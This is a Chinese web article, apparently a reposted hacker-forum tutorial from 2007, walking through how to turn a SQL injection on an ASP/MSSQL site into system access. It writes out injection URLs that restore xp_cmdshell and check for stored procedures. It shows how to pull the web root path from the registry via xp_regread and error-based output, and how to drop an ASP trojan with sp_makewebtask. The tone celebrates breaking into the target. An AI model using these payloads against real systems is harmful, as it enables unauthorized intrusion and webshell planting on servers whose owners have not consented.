科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道利用纯脚本技术获得系统权限详解(2)

利用纯脚本技术获得系统权限详解(2)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

目前网上很流行SQL INJECTION 漏洞,也就是我们通常所说的SQL注入漏洞,我们利用这类漏洞可以跨表、跨库查询数据库信息,以及通过论坛来上传文件从而得到主机WebShell(这些都是一些很通常的手法,黑防原来也介绍得比较详细)。

作者:论坛整理 来源:zdnet网络安全 2007年12月22日

关键字: 攻击防范 系统安全 安全技术

  • 评论
  • 分享微博
  • 分享邮件
看来,xp_cmdshell已经被删除了。呵呵,我们来给他恢复一下吧!

http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc ’xp_cmdshell’,’xplog70.dll’

再试,看xp_cmdshell是不是恢复过来了?

http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ’X’ AND name = ’xp_cmdshell’)

wtf:小编在后来的尝试中,发现xp_cmdshell恢复过来了?哈哈,不知道是哪位兄弟留下来的战果?

同样没有返回内容。这证明,管理员把xplog70.dll这个动态链接库给改名了。要不给删除了,看来直接恢复是没有办法的了。对此,我只能说两个字“我忍”!

这么好个漏洞,不好好利用我是不甘心的,再说都到这地步了,正有劲呢。先拿他的WebShell再说,哼哼,拿到WebShell后,我自然有办法对付他了,哈哈哈…(星仔般的奸笑!)。

下面看如何拿到WebShell!

看过N.E.V.E.R和CZY的文章没有?拿WebShell的方法,两位都已经详细的介绍过了。我也把他们的方法写成了程序,方便我使用,不过很困难的是得不到Web绝对路径。那我们生成的木马保存在什么地方呢?

这可能是很多牛人一直在研究的问题。还好,我对MSSQL还是了解一点。我有办法得到他的Web绝对路径,跟我来吧。(wtf:这绝对是个非常非常大的闪光点!大家看清楚了!)

下面我们要利用到两个MSSQL存储过程。不过有必要先给大家介绍一下xp_regread 扩展存储过程和sp_makewebtask Web 助手存储过程:xp_regread是用来读取注册表信息的,我们通过这个存储过程来得到保存在注册表中Web绝对路径。

sp_makewebtask在我们这里是用来得到WebShell的,其主要功能就是导出数据库中表的记录为文件,文件名你可以自己指定。当然我们这里就指定为ASP脚本文件啦!试想,如果表中记录保存的是脚本代码,导出来的文件也就是脚本文件了。所以,我们添加的记录就是脚本代码。

这里我就不用N.E.V.E.R的方法了。他的方法是导出库文件,导出的文件都比较大,并且很多乱码看起来不方便,如果记录中存在ASP的标记符并且有错误的ASP代码那就不好办了,打开多半返回500的错误码,所以我们采用CZY的方法,就是Web作业来得到Shell。



1.怎么拿到Web绝对路径?

呵呵?这个问题,花了我很长时间去研究。大家都知道MS的东西很多都放在注册表中的,Web位置我们可以在注册表中得到,位置如下:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Param eters\Virtual Roots

利用扩展存储过程xp_regread我们可以取得它的值.

EXEC master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,

’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ’/’

这样,就取出来了,但问题又来了,取是取出来了,我们怎么在IE中返回它的值呢?我的方法是:先创建一个临时表,表中加一字段,类型为:char 255。呵呵,用它来保存Web绝对路径的值。表建好后,我们就用读取注册表的方法,把返回的值保存在一变量中。然后向新建的表中加入记录(即变量的值)。这样,路径就写入到了表中。提交:

DECLARE @result varchar(255) EXEC master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’, 

’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ’/’, @result output insert into 临时表 (临时字段名) values(@result);--

然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1)

这样IE报错,就把刚才插进去的Web路径的值报出来了。我也试过直接用变量来报错,让IE返回变量的值,结果是失败的,所以就想到了建临时表加数据进去的方法!最后我们再删除刚建的临时表。WebShell就得到了,工作就此告一段落。



2.怎么拿到WebShell?

CZY的文章已经写得很详细了。所以,我这里就只简单的提一下吧! 先创建一个表,建一字段,然后向这个字段中加入木马的内容。然后,把内容通过xp_makewebtask存储过程导出成ASP脚本保存在Web绝对路径中。再次删除建的临时表,一切OVER。如:

EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp’,

@query = ’SELECT 你的字段 FROM 你建的临时表’

呵呵,结果就出来了。当然我都写成了程序,所以就不用麻烦自己手工一行一行的加数据进去了(wtf:本期文章有详细介绍!大家一定不会失望!)。方法和思路都写了,现在我们就来行动吧。

还是先看看,他这两个扩展存储过程是不是已经被删除了。如果被删了,我也不想活了!呵呵,提交:

http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ’xp_regread’)

再提交:

http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ’sp_makewebtask’)

啦啦啦!今天是什么日子,我比过年还开心啦。全部返回正常!两个要用到的存储过程都没有删除。

wtf注:一般管理员也不会删除这两个,可能对它们的了解比较少,也就不会注意它们嘛!危机就在这里面!嘿嘿。
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章